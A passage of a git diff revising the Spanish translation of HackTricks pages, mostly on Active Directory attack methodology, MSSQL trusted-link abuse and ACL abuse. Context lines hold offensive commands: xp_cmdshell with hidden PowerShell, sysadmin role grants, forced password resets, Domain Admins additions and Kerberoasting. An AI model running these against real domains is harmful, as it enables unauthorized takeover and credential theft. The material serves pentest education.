 * **Conjuntos de datos:** Una **colección integral de conjuntos de datos** utilizados para entrenar y evaluar modelos. Facilita el acceso fácil a diversas fuentes de datos, permitiendo a los usuarios encontrar y utilizar datos para sus proyectos específicos de aprendizaje automático.
 * **Espacios:** Una plataforma para alojar y compartir **aplicaciones interactivas de aprendizaje automático** y demostraciones. Permite a los desarrolladores **mostrar** sus modelos en acción, crear interfaces amigables y colaborar con otros compartiendo demostraciones en vivo.
 
-## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/)
+## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **y** [**Kaggle**](https://www.kaggle.com/)
 
 **TensorFlow Hub** es un repositorio integral de módulos reutilizables de aprendizaje automático desarrollados por Google. Se centra en facilitar la compartición y despliegue de modelos de aprendizaje automático, especialmente aquellos construidos con TensorFlow.
 
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
index 6d831ecef..28aba9475 100644
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@@ -76,7 +76,7 @@ El primer **valor de HackTricks** es ofrecer recursos educativos de hacking **GR
 
 Si piensas que los libros de HackTricks están hechos con **fines comerciales**, estás **COMPLETAMENTE EQUIVOCADO**.
 
-Tenemos patrocinadores porque, aunque todo el contenido es GRATIS, queremos **ofrecer a la comunidad la posibilidad de apreciar nuestro trabajo** si así lo desean. Por lo tanto, ofrecemos a las personas la opción de donar a HackTricks a través de [**patrocinadores de Github**](https://github.com/sponsors/carlospolop), y **empresas de ciberseguridad relevantes** para patrocinar HackTricks y **tener algunos anuncios** en el libro, siendo los **anuncios** siempre colocados en lugares que los hagan **visibles** pero que **no interrumpan el proceso de aprendizaje** si alguien se enfoca en el contenido.
+Tenemos patrocinadores porque, aunque todo el contenido es GRATIS, queremos **ofrecer a la comunidad la posibilidad de apreciar nuestro trabajo** si así lo desean. Por lo tanto, ofrecemos a las personas la opción de donar a HackTricks a través de [**patrocinadores de Github**](https://github.com/sponsors/carlospolop), y **empresas de ciberseguridad relevantes** para patrocinar HackTricks y **tener algunos anuncios** en el libro, siendo los **anuncios** siempre colocados en lugares donde los hagan **visibles** pero **no interrumpan el proceso de aprendizaje** si alguien se enfoca en el contenido.
 
 No encontrarás a HackTricks lleno de anuncios molestos como otros blogs con mucho menos contenido que HackTricks, porque HackTricks no está hecho con fines comerciales.
 
@@ -88,7 +88,7 @@ No encontrarás a HackTricks lleno de anuncios molestos como otros blogs con muc
 
 > [!CAUTION]
 >
-> - **¿Qué debo hacer si hay contenido de mi blog en HackTricks y no lo quiero allí?**
+> - **¿Qué debo hacer si hay contenido de mi blog en HackTricks y no quiero que esté allí?**
 
 Ten en cuenta que tener enlaces a tu página en HackTricks:
 
diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md
index 43c988ae9..1f932977a 100644
--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@@ -14,7 +14,7 @@ Los conceptos clave dentro de **Active Directory** incluyen:
 2. **Objeto** – Denota entidades dentro del directorio, incluyendo **usuarios**, **grupos** o **carpetas compartidas**.
 3. **Dominio** – Sirve como un contenedor para objetos de directorio, con la capacidad de que múltiples dominios coexistan dentro de un **bosque**, cada uno manteniendo su propia colección de objetos.
 4. **Árbol** – Un agrupamiento de dominios que comparten un dominio raíz común.
-5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesto por varios árboles con **relaciones de confianza** entre ellos.
+5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesta por varios árboles con **relaciones de confianza** entre ellos.
 
 **Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizada dentro de una red. Estos servicios comprenden:
 
@@ -69,7 +69,7 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr
 - Recolectar credenciales **exponiendo** [**servicios UPnP falsos con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
 - Extraer nombres de usuario/nombres de documentos internos, redes sociales, servicios (principalmente web) dentro de los entornos de dominio y también de los disponibles públicamente.
-- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes **convenciones de nombres de usuario de AD** ([**lee esto**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Apellido_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123).
+- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes **convenciones de nombres de usuario de AD** (**[lee esto](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Apellido_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123).
 - Herramientas:
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@@ -161,7 +161,7 @@ Respecto a [**ASREPRoast**](asreproast.md), ahora puedes encontrar cada posible
 - Otra herramienta increíble para reconocimiento en un directorio activo es [**BloodHound**](bloodhound.md). No es **muy sigiloso** (dependiendo de los métodos de recolección que uses), pero **si no te importa** eso, deberías probarlo. Encuentra dónde los usuarios pueden RDP, encuentra rutas a otros grupos, etc.
 - **Otras herramientas automatizadas de enumeración de AD son:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 - [**Registros DNS del AD**](ad-dns-records.md) ya que podrían contener información interesante.
-- Una **herramienta con GUI** que puedes usar para enumerar el directorio es **AdExplorer.exe** de **SysInternal** Suite.
+- Una **herramienta con GUI** que puedes usar para enumerar el directorio es **AdExplorer.exe** del **SysInternal** Suite.
 - También puedes buscar en la base de datos LDAP con **ldapsearch** para buscar credenciales en los campos _userPassword_ y _unixUserPassword_, o incluso para _Description_. cf. [Contraseña en el comentario de usuario de AD en PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para otros métodos.
 - Si estás usando **Linux**, también podrías enumerar el dominio usando [**pywerview**](https://github.com/the-useless-one/pywerview).
 - También podrías intentar herramientas automatizadas como:
@@ -189,7 +189,7 @@ Una vez que hayas obtenido algunas credenciales, podrías verificar si tienes ac
 
 ### Escalación de privilegios local
 
-Si has comprometido credenciales o una sesión como un usuario regular de dominio y tienes **acceso** con este usuario a **cualquier máquina en el dominio**, deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM).
+Si has comprometido credenciales o una sesión como un usuario de dominio regular y tienes **acceso** con este usuario a **cualquier máquina en el dominio**, deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM).
 
 Hay una página completa en este libro sobre [**escalación de privilegios local en Windows**](../windows-local-privilege-escalation/) y una [**lista de verificación**](../checklist-windows-privilege-escalation.md). Además, no olvides usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
 
@@ -223,7 +223,7 @@ Si puedes **acceder a otras PC o recursos compartidos**, podrías **colocar arch
 
 ### CVE-2021-1675/CVE-2021-34527 PrintNightmare
 
-Esta vulnerabilidad permitió a cualquier usuario autenticado **comprometer el controlador de dominio**.
+Esta vulnerabilidad permitió que cualquier usuario autenticado **comprometiera el controlador de dominio**.
 
 {{#ref}}
 printnightmare.md
@@ -247,7 +247,7 @@ Necesitas usar alguna **herramienta** que **realice** la **autenticación NTLM u
 
 ### Over Pasar el Hash/Pasar la Clave
 
-Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo se **permite Kerberos** como protocolo de autenticación.
+Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo **Kerberos está permitido** como protocolo de autenticación.
 
 {{#ref}}
 over-pass-the-hash-pass-the-key.md
@@ -263,7 +263,7 @@ pass-the-ticket.md
 
 ### Reutilización de Credenciales
 
-Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con ello.
+Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con él.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
@@ -284,9 +284,9 @@ abusing-ad-mssql.md
 
 ### Delegación no restringida
 
-Si encuentra algún objeto de computadora con el atributo [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) y tiene privilegios de dominio en la computadora, podrá volcar TGTs de la memoria de todos los usuarios que inicien sesión en la computadora.\
-Entonces, si un **Administrador de Dominio inicia sesión en la computadora**, podrá volcar su TGT e impersonarlo usando [Pass the Ticket](pass-the-ticket.md).\
-Gracias a la delegación restringida, incluso podría **comprometer automáticamente un servidor de impresión** (esperemos que sea un DC).
+Si encuentras algún objeto de computadora con el atributo [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) y tienes privilegios de dominio en la computadora, podrás volcar TGTs de la memoria de todos los usuarios que inicien sesión en la computadora.\
+Entonces, si un **Administrador de Dominio inicia sesión en la computadora**, podrás volcar su TGT e impersonarlo usando [Pass the Ticket](pass-the-ticket.md).\
+Gracias a la delegación restringida, incluso podrías **comprometer automáticamente un servidor de impresión** (esperemos que sea un DC).
 
 {{#ref}}
 unconstrained-delegation.md
@@ -294,8 +294,8 @@ unconstrained-delegation.md
 
 ### Delegación restringida
 
-Si un usuario o computadora está permitido para "Delegación Restringida", podrá **impersonar a cualquier usuario para acceder a algunos servicios en una computadora**.\
-Luego, si **compromete el hash** de este usuario/computadora, podrá **impersonar a cualquier usuario** (incluso administradores de dominio) para acceder a algunos servicios.
+Si un usuario o computadora está permitido para "Delegación Restringida", podrá **imitar a cualquier usuario para acceder a algunos servicios en una computadora**.\
+Luego, si **comprometes el hash** de este usuario/computadora, podrás **imitar a cualquier usuario** (incluso administradores de dominio) para acceder a algunos servicios.
 
 {{#ref}}
 constrained-delegation.md
@@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
 
 ### Abuso de ACLs
 
-El usuario comprometido podría tener algunos **privilegios interesantes sobre algunos objetos de dominio** que podrían permitirle **moverse** lateralmente/**escalar** privilegios.
+El usuario comprometido podría tener algunos **privilegios interesantes sobre algunos objetos de dominio** que podrían permitirte **moverte** lateralmente/**escalar** privilegios.
 
 {{#ref}}
 acl-persistence-abuse/
@@ -336,7 +336,7 @@ rdp-sessions-abuse.md
 
 ### LAPS
 
-**LAPS** proporciona un sistema para gestionar la **contraseña del Administrador local** en computadoras unidas al dominio, asegurando que sea **aleatoria**, única y **cambiada** con frecuencia. Estas contraseñas se almacenan en Active Directory y el acceso se controla a través de ACLs solo para usuarios autorizados. Con permisos suficientes para acceder a estas contraseñas, se vuelve posible pivotar a otras computadoras.
+**LAPS** proporciona un sistema para gestionar la **contraseña del Administrador local** en computadoras unidas al dominio, asegurando que sea **aleatoria**, única y frecuentemente **cambiada**. Estas contraseñas se almacenan en Active Directory y el acceso se controla a través de ACLs solo para usuarios autorizados. Con permisos suficientes para acceder a estas contraseñas, se vuelve posible pivotar a otras computadoras.
 
 {{#ref}}
 laps.md
@@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
 
 ### Grupo AdminSDHolder
 
-El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para dar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en su contra, permitiendo un acceso no autorizado a menos que se supervise de cerca.
+El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no autorizado a menos que se supervise de cerca.
 
 [**Más información sobre el Grupo AdminDSHolder aquí.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
 
 ### Credenciales DSRM
 
-Dentro de cada **Controlador de Dominio (DC)**, existe una cuenta de **administrador local**. Al obtener derechos de administrador en tal máquina, se puede extraer el hash del Administrador local usando **mimikatz**. Después de esto, es necesaria una modificación del registro para **habilitar el uso de esta contraseña**, permitiendo el acceso remoto a la cuenta del Administrador local.
+Dentro de cada **Controlador de Dominio (DC)**, existe una cuenta de **administrador local**. Al obtener derechos de administrador en tal máquina, se puede extraer el hash del Administrador local usando **mimikatz**. Después de esto, es necesaria una modificación del registro para **habilitar el uso de esta contraseña**, permitiendo el acceso remoto a la cuenta de Administrador local.
 
 {{#ref}}
 dsrm-credentials.md
@@ -510,19 +510,19 @@ En un escenario típico, si un usuario pretende acceder a un servicio en un **do
 
 **Pasos**:
 
-1. Una **computadora cliente** en **Dominio 1** inicia el proceso utilizando su **hash de NTLM** para solicitar un **Ticket de Concesión de Tickets (TGT)** de su **Controlador de Dominio (DC1)**.
+1. Una **computadora cliente** en **Dominio 1** inicia el proceso utilizando su **hash de NTLM** para solicitar un **Ticket Granting Ticket (TGT)** de su **Controlador de Dominio (DC1)**.
 2. DC1 emite un nuevo TGT si el cliente se autentica con éxito.
 3. El cliente luego solicita un **TGT inter-realm** de DC1, que es necesario para acceder a recursos en **Dominio 2**.
 4. El TGT inter-realm está cifrado con una **clave de confianza** compartida entre DC1 y DC2 como parte de la confianza de dominio bidireccional.
-5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2) de Dominio 2**.
-6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket de Concesión de Servicio (TGS)** para el servidor en Dominio 2 al que el cliente desea acceder.
+5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2)** de Dominio 2.
+6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket Granting Service (TGS)** para el servidor en Dominio 2 al que el cliente desea acceder.
 7. Finalmente, el cliente presenta este TGS al servidor, que está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en Dominio 2.
 
 ### Diferentes confianzas
 
-Es importante notar que **una confianza puede ser unidireccional o bidireccional**. En la opción bidireccional, ambos dominios se confiarán mutuamente, pero en la relación de confianza **unidireccional**, uno de los dominios será el **confiable** y el otro el **que confía**. En este último caso, **solo podrás acceder a recursos dentro del dominio que confía desde el dominio confiable**.
+Es importante notar que **una confianza puede ser unidireccional o bidireccional**. En la opción bidireccional, ambos dominios se confiarán mutuamente, pero en la relación de confianza **unidireccional**, uno de los dominios será el **confiado** y el otro el **confiador**. En este último caso, **solo podrás acceder a recursos dentro del dominio confiador desde el confiado**.
 
-Si el Dominio A confía en el Dominio B, A es el dominio que confía y B es el confiable. Además, en **Dominio A**, esto sería una **confianza saliente**; y en **Dominio B**, esto sería una **confianza entrante**.
+Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el confiado. Además, en **Dominio A**, esto sería una **confianza saliente**; y en **Dominio B**, esto sería una **confianza entrante**.
 
 **Diferentes relaciones de confianza**
 
@@ -530,15 +530,15 @@ Si el Dominio A confía en el Dominio B, A es el dominio que confía y B es el c
 - **Confianzas de Enlace Cruzado**: Conocidas como "confianzas de acceso directo", se establecen entre dominios hijos para acelerar los procesos de referencia. En bosques complejos, las referencias de autenticación generalmente tienen que viajar hasta la raíz del bosque y luego hacia abajo hasta el dominio objetivo. Al crear enlaces cruzados, el viaje se acorta, lo que es especialmente beneficioso en entornos geográficamente dispersos.
 - **Confianzas Externas**: Estas se establecen entre diferentes dominios no relacionados y son no transitivas por naturaleza. Según [la documentación de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), las confianzas externas son útiles para acceder a recursos en un dominio fuera del bosque actual que no está conectado por una confianza de bosque. La seguridad se refuerza a través del filtrado de SID con confianzas externas.
 - **Confianzas de Raíz de Árbol**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y una nueva raíz de árbol añadida. Aunque no se encuentran comúnmente, las confianzas de raíz de árbol son importantes para agregar nuevos árboles de dominio a un bosque, permitiéndoles mantener un nombre de dominio único y asegurando la transitividad bidireccional. Más información se puede encontrar en [la guía de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
-- **Confianzas de Bosque**: Este tipo de confianza es una confianza bidireccional transitiva entre dos dominios raíz de bosque, también aplicando filtrado de SID para mejorar las medidas de seguridad.
-- **Confianzas MIT**: Estas confianzas se establecen con dominios Kerberos que cumplen con [RFC4120](https://tools.ietf.org/html/rfc4120) y que no son de Windows. Las confianzas MIT son un poco más especializadas y se adaptan a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema de Windows.
+- **Confianzas de Bosque**: Este tipo de confianza es una confianza transitoria bidireccional entre dos dominios raíz de bosque, también aplicando filtrado de SID para mejorar las medidas de seguridad.
+- **Confianzas MIT**: Estas confianzas se establecen con dominios Kerberos que cumplen con [RFC4120](https://tools.ietf.org/html/rfc4120) y no son de Windows. Las confianzas MIT son un poco más especializadas y se adaptan a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema de Windows.
 
 #### Otras diferencias en **relaciones de confianza**
 
 - Una relación de confianza también puede ser **transitiva** (A confía en B, B confía en C, entonces A confía en C) o **no transitiva**.
 - Una relación de confianza puede configurarse como **confianza bidireccional** (ambos confían entre sí) o como **confianza unidireccional** (solo uno de ellos confía en el otro).
 
-### Ruta de ataque
+### Ruta de Ataque
 
 1. **Enumerar** las relaciones de confianza
 2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez a través de entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza se creó probablemente para esto).
@@ -549,7 +549,7 @@ Los atacantes podrían acceder a recursos en otro dominio a través de tres meca
 
 - **Membresía en Grupos Locales**: Los principales podrían ser añadidos a grupos locales en máquinas, como el grupo “Administradores” en un servidor, otorgándoles un control significativo sobre esa máquina.
 - **Membresía en Grupos de Dominio Extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo.
-- **Listas de Control de Acceso (ACLs)**: Los principales podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de las ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable.
+- **Listas de Control de Acceso (ACLs)**: Los principales podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable.
 
 ### Escalación de privilegios de bosque de hijo a padre
 ```
diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
index 9c1ea784d..3c8eee95a 100644
--- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
+++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@@ -158,7 +158,7 @@ Revisa en la página mencionada en la **siguiente sección cómo hacerlo manualm
 
 ## Enlaces de Confianza en MSSQL
 
-Si una instancia de MSSQL es confiable (enlace de base de datos) por otra instancia de MSSQL. Si el usuario tiene privilegios sobre la base de datos confiable, podrá **utilizar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún momento el usuario podría encontrar alguna base de datos mal configurada donde pueda ejecutar comandos.
+Si una instancia de MSSQL es de confianza (enlace de base de datos) por otra instancia de MSSQL. Si el usuario tiene privilegios sobre la base de datos de confianza, podrá **utilizar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún momento el usuario podría encontrar alguna base de datos mal configurada donde pueda ejecutar comandos.
 
 **Los enlaces entre bases de datos funcionan incluso a través de confianzas de bosque.**
 
@@ -196,7 +196,7 @@ Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql
 ```
 ### Metasploit
 
-Puedes verificar fácilmente los enlaces de confianza utilizando metasploit.
+Puedes verificar fácilmente los enlaces de confianza usando metasploit.
 ```bash
 #Set username, password, windows auth (if using AD), IP...
 msf> use exploit/windows/mssql/mssql_linkcrawler
@@ -232,7 +232,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
 
 ![](<../../images/image (643).png>)
 
-Puedes continuar esta cadena de enlaces de confianza para siempre de forma manual.
+Puede continuar esta cadena de enlaces de confianza para siempre de forma manual.
 ```sql
 # First level RCE
 SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
@@ -254,7 +254,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
 
 El **usuario local de MSSQL** generalmente tiene un tipo especial de privilegio llamado **`SeImpersonatePrivilege`**. Esto permite que la cuenta "imite a un cliente después de la autenticación".
 
-Una estrategia que muchos autores han ideado es forzar a un servicio del SYSTEM a autenticarse en un servicio malicioso o de intermediario que el atacante crea. Este servicio malicioso puede entonces imitar al servicio del SYSTEM mientras intenta autenticarse.
+Una estrategia que muchos autores han propuesto es forzar a un servicio del SISTEMA a autenticarse en un servicio malicioso o de intermediario que el atacante crea. Este servicio malicioso puede entonces imitar al servicio del SISTEMA mientras intenta autenticarse.
 
 [SweetPotato](https://github.com/CCob/SweetPotato) tiene una colección de estas diversas técnicas que se pueden ejecutar a través del comando `execute-assembly` de Beacon.
 
diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
index 9c720d876..13315e1ef 100644
--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
@@ -9,7 +9,7 @@
 Este privilegio otorga a un atacante control total sobre una cuenta de usuario objetivo. Una vez que se confirman los derechos `GenericAll` utilizando el comando `Get-ObjectAcl`, un atacante puede:
 
 - **Cambiar la Contraseña del Objetivo**: Usando `net user <username> <password> /domain`, el atacante puede restablecer la contraseña del usuario.
-- **Kerberoasting Dirigido**: Asignar un SPN a la cuenta del usuario para que sea susceptible de kerberoasting, luego usar Rubeus y targetedKerberoast.py para extraer e intentar romper los hashes del ticket-granting ticket (TGT).
+- **Kerberoasting Dirigido**: Asignar un SPN a la cuenta del usuario para que sea susceptible de kerberoasting, luego usar Rubeus y targetedKerberoast.py para extraer e intentar descifrar los hashes del ticket-granting ticket (TGT).
 ```powershell
 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
 .\Rubeus.exe kerberoast /user:<username> /nowrap
@@ -40,7 +40,7 @@ Tener estos privilegios en un objeto de computadora o una cuenta de usuario perm
 
 Si un usuario tiene derechos de `WriteProperty` en todos los objetos para un grupo específico (por ejemplo, `Domain Admins`), puede:
 
-- **Add Themselves to the Domain Admins Group**: Alcanzable mediante la combinación de los comandos `net user` y `Add-NetGroupUser`, este método permite la escalada de privilegios dentro del dominio.
+- **Add Themselves to the Domain Admins Group**: Alcanzable mediante la combinación de los comandos `net user` y `Add-NetGroupUser`, este método permite la escalación de privilegios dentro del dominio.
 ```powershell
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
@@ -59,7 +59,7 @@ net group "domain admins" spotless /add /domain
 ```
 ## **ForceChangePassword**
 
-Tener el `ExtendedRight` en un usuario para `User-Force-Change-Password` permite restablecer contraseñas sin conocer la contraseña actual. La verificación de este derecho y su explotación se pueden realizar a través de PowerShell o herramientas de línea de comandos alternativas, ofreciendo varios métodos para restablecer la contraseña de un usuario, incluyendo sesiones interactivas y comandos de una sola línea para entornos no interactivos. Los comandos varían desde invocaciones simples de PowerShell hasta el uso de `rpcclient` en Linux, demostrando la versatilidad de los vectores de ataque.
+Tener el `ExtendedRight` en un usuario para `User-Force-Change-Password` permite restablecer contraseñas sin conocer la contraseña actual. La verificación de este derecho y su explotación se puede realizar a través de PowerShell o herramientas de línea de comandos alternativas, ofreciendo varios métodos para restablecer la contraseña de un usuario, incluyendo sesiones interactivas y comandos de una sola línea para entornos no interactivos. Los comandos varían desde invocaciones simples de PowerShell hasta el uso de `rpcclient` en Linux, demostrando la versatilidad de los vectores de ataque.
 ```powershell
 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainUserPassword -Identity delegate -Verbose
@@ -106,25 +106,25 @@ $ADSI.psbase.commitchanges()
 ```
 ## **Replicación en el Dominio (DCSync)**
 
-El ataque DCSync aprovecha permisos específicos de replicación en el dominio para imitar un Controlador de Dominio y sincronizar datos, incluyendo credenciales de usuario. Esta poderosa técnica requiere permisos como `DS-Replication-Get-Changes`, permitiendo a los atacantes extraer información sensible del entorno de AD sin acceso directo a un Controlador de Dominio. [**Aprende más sobre el ataque DCSync aquí.**](../dcsync.md)
+El ataque DCSync aprovecha permisos de replicación específicos en el dominio para imitar un Controlador de Dominio y sincronizar datos, incluyendo credenciales de usuario. Esta poderosa técnica requiere permisos como `DS-Replication-Get-Changes`, permitiendo a los atacantes extraer información sensible del entorno de AD sin acceso directo a un Controlador de Dominio. [**Aprende más sobre el ataque DCSync aquí.**](../dcsync.md)
 
 ## Delegación de GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
 
 ### Delegación de GPO
 
-El acceso delegado para gestionar Objetos de Política de Grupo (GPO) puede presentar riesgos de seguridad significativos. Por ejemplo, si un usuario como `offense\spotless` tiene derechos de gestión de GPO delegados, puede tener privilegios como **WriteProperty**, **WriteDacl** y **WriteOwner**. Estos permisos pueden ser abusados con fines maliciosos, como se identifica usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+El acceso delegado para gestionar Objetos de Política de Grupo (GPO) puede presentar riesgos de seguridad significativos. Por ejemplo, si un usuario como `offense\spotless` tiene derechos de gestión de GPO delegados, puede tener privilegios como **WriteProperty**, **WriteDacl** y **WriteOwner**. Estos permisos pueden ser abusados para fines maliciosos, como se identifica usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
 
 ### Enumerar Permisos de GPO
 
 Para identificar GPO mal configurados, se pueden encadenar los cmdlets de PowerSploit. Esto permite descubrir GPOs que un usuario específico tiene permisos para gestionar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
 
-**Computadoras con una Política Dada Aplicada**: Es posible resolver qué computadoras se ven afectadas por un GPO específico, ayudando a entender el alcance del impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
+**Computadoras con una Política Dada Aplicada**: Es posible resolver qué computadoras se aplica una GPO específica, ayudando a entender el alcance del impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
 
 **Políticas Aplicadas a una Computadora Dada**: Para ver qué políticas se aplican a una computadora en particular, se pueden utilizar comandos como `Get-DomainGPO`.
 
 **OUs con una Política Dada Aplicada**: Identificar unidades organizativas (OUs) afectadas por una política dada se puede hacer usando `Get-DomainOU`.
 
-### Abuso de GPO - New-GPOImmediateTask
+### Abusar de GPO - New-GPOImmediateTask
 
